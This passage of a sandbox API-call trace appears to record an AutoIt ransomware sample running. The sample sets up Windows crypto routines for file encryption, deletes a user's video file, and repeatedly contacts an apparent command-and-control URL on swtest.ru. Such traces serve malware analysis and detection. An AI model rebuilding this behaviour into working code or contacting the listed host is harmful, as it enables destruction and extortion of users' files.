lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.071] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.071] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.071] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.071] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.071] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.072] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.072] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.072] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.072] CryptReleaseContext (hProv=0x17a9df0, dwFlags=0x0) returned 1 [0066.072] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.072] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.072] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.072] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.072] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.072] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.073] CloseHandle (hObject=0x2ac) returned 1 [0066.073] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.073] CloseHandle (hObject=0x3bc) returned 1 [0066.094] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.097] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.097] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", lpFilePart=0x0) returned 0x35 [0066.097] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sbflnmgclbwmzu60choe.avi")) returned 0x20 [0066.097] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0066.097] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sbflnmgclbwmzu60choe.avi")) returned 1 [0066.100] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.100] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0066.100] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.100] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.100] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.100] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.100] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0066.101] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.101] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.101] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.101] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.101] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.101] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.101] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c) returned 1 [0066.101] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.101] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.101] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.102] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.102] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.102] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.102] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.102] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.102] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.103] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.103] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.103] CloseHandle (hObject=0x0) returned 0 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="frV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rV6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.104] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.104] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.105] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.105] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.105] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.105] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.105] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.105] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.105] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0066.105] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.105] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.105] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.106] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.106] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.106] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.106] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.106] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.106] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.106] CloseHandle (hObject=0x0) returned 0 [0066.108] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.108] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.110] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.112] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.112] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.112] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.112] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.112] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.112] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.112] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.113] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.113] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.113] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.113] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.113] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.113] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.113] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.113] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.113] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.113] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.114] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.114] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.114] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0066.115] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.115] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.115] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.115] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.115] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.115] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.116] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 